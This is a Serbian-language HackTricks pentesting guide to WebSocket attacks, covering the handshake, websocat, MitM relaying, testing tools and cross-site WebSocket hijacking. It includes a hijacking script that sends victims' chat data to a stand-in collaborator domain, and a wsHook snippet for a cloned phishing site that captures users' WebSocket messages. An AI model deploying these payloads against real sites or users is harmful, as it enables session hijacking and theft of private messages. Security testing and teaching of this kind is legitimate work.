hacktricks/pentesting-web/websocket-attacks.md
2024-02-10 13:11:20 +00:00

12 KiB

Napadi na WebSocket

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Šta su WebSockets

WebSocket konekcije se uspostavljaju putem početnog HTTP handshake-a i dizajnirane su da budu dugotrajne, omogućavajući dvosmernu komunikaciju u bilo koje vreme bez potrebe za transakcionim sistemom. Ovo čini WebSockets posebno pogodnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu od strane servera, kao što su struje finansijskih podataka uživo.

Uspostavljanje WebSocket konekcija

Detaljno objašnjenje o uspostavljanju WebSocket konekcija može se pronaći ovde. Ukratko, WebSocket konekcije se obično iniciraju putem JavaScript-a na strani klijenta, kao što je prikazano ispod:

var ws = new WebSocket("wss://normal-website.com/ws");

wss protokol označava WebSocket konekciju koja je obezbeđena sa TLS, dok ws označava neobezbeđenu konekciju.

Tokom uspostavljanja konekcije, izvršava se handshake između pregledača i servera preko HTTP-a. Proces handshake-a uključuje slanje zahteva od strane pregledača i odgovor servera, kako je prikazano u sledećim primerima:

Pregledač šalje zahtev za handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odgovor servera na handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Veza ostaje otvorena za razmenu poruka u oba smera nakon uspostavljanja.

Ključne tačke WebSocket Handshake-a:

  • Zaglavlja Connection i Upgrade signaliziraju inicijaciju WebSocket handshake-a.
  • Zaglavlje Sec-WebSocket-Version ukazuje na željenu verziju WebSocket protokola, obično 13.
  • Base64 enkodirana nasumična vrednost se šalje u zaglavlju Sec-WebSocket-Key, obezbeđujući da svaki handshake bude jedinstven, što pomaže u sprečavanju problema sa keširajućim proksijima. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša.
  • Zaglavlje Sec-WebSocket-Accept u odgovoru servera je heš vrednost Sec-WebSocket-Key, potvrđujući serverovu nameru da otvori WebSocket vezu.

Ove funkcionalnosti obezbeđuju da je proces handshake-a siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.

Linux konzola

Možete koristiti websocat da uspostavite sirovu vezu sa WebSocket-om.

websocat --insecure wss://10.10.10.10:8000 -v

Ili da kreirate websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM napadi na WebSocket veze

Ako primetite da su klijenti povezani na HTTP WebSocket iz vaše trenutne lokalne mreže, možete pokušati ARP Spoofing napad kako biste izveli MitM napad između klijenta i servera.
Kada klijent pokuša da se poveže, možete koristiti:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeracija Websocket-a

Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, identifikujete i pretražujete poznate ranjivosti u websocket-ima.

Alati za debagovanje Websocket-a

  • Burp Suite podržava MitM komunikaciju websocket-a na veoma sličan način kao što to radi za redovnu HTTP komunikaciju.
  • socketsleuth Burp Suite ekstenzija će vam omogućiti bolje upravljanje Websocket komunikacijom u Burp-u tako što ćete dobiti istoriju, postaviti pravila presretanja, koristiti pravila za poklapanje i zamenu, koristiti Intruder i AutoRepeater.
  • WSSiP: Skraćenica za "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za snimanje, presretanje, slanje prilagođenih poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
  • wsrepl je interaktivni websocket REPL dizajniran posebno za testiranje prodiranja. Pruža interfejs za posmatranje dolaznih websocket poruka i slanje novih, sa jednostavnim okvirom za automatizaciju ove komunikacije.
  • https://websocketking.com/ je veb za komunikaciju sa drugim veb sajtovima koristeći websocket-e.
  • https://hoppscotch.io/realtime/websocket pored ostalih vrsta komunikacija/protokola, pruža veb za komunikaciju sa drugim veb sajtovima koristeći websocket-e.

Websocket Lab

U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje veba koristeći websocket-e, a u ovom postu možete pronaći objašnjenje.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, takođe poznat kao cross-origin WebSocket hijacking, identifikovan je kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket handshake. Ova ranjivost se javlja kada WebSocket handshake autentifikuje samo putem HTTP kolačića bez CSRF tokena ili sličnih sigurnosnih mera.

Napadači mogu iskoristiti ovo tako što će hostovati zlonamernu veb stranicu koja inicira cross-site WebSocket konekciju sa ranjivom aplikacijom. Kao rezultat toga, ova konekcija se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijom.

Jednostavan napad

Imajte na umu da prilikom uspostavljanja websocket konekcije, kolačić se šalje serveru. Server ga može koristiti da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog kolačića.

Zatim, ako na primer websocket server vrati istoriju razgovora korisnika ako se pošalje poruka sa "READY", onda jednostavan XSS koji uspostavlja konekciju (kolačić će biti automatski poslat da autorizuje žrtvu) slanjem "READY" će biti u mogućnosti da dobije istoriju razgovora.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Kolačić sa drugim poddomenom

U ovom blog postu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljni JavaScript u poddomenu domena gde se odvijala komunikacija putem web socket-a. Zbog toga što je bio poddomen, kolačić je bio poslat, a zbog toga što Websocket nije pravilno proveravao poreklo, bilo je moguće komunicirati sa njim i ukrasti tokene iz njega.

Krađa podataka od korisnika

Kopirajte veb aplikaciju koju želite da se predstavljate (npr. .html fajlove) i unutar skripte gde se odvija komunikacija putem web socket-a dodajte ovaj kod:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Sada preuzmite datoteku wsHook.js sa https://github.com/skepticfx/wshook i sačuvajte je unutar fascikle sa web fajlovima.
Izlažući web aplikaciju i povezujući korisnika na nju, moći ćete da ukradete poslate i primljene poruke putem web soketa:

sudo python3 -m http.server 80

Trke uslova

Trke uslova u WebSockets-u su takođe stvar, proverite ovde informacije da biste saznali više.

Ostale ranjivosti

Pošto su WebSockets mehanizam za slanje podataka na serversku i klijentsku stranu, u zavisnosti od toga kako server i klijent obrađuju informacije, WebSockets mogu se koristiti za iskorišćavanje drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost korišćenjem unosa korisnika putem WebSockets-a.

WebSocket Smuggling

Ova ranjivost bi vam mogla omogućiti da zaobiđete ograničenja obrnutih proxy-ja tako što ćete ih naterati da veruju da je uspostavljena WebSocket komunikacija (čak i ako to nije tačno). To bi omogućilo napadaču da pristupi skrivenim krajnjim tačkama. Za više informacija pogledajte sledeću stranicu:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: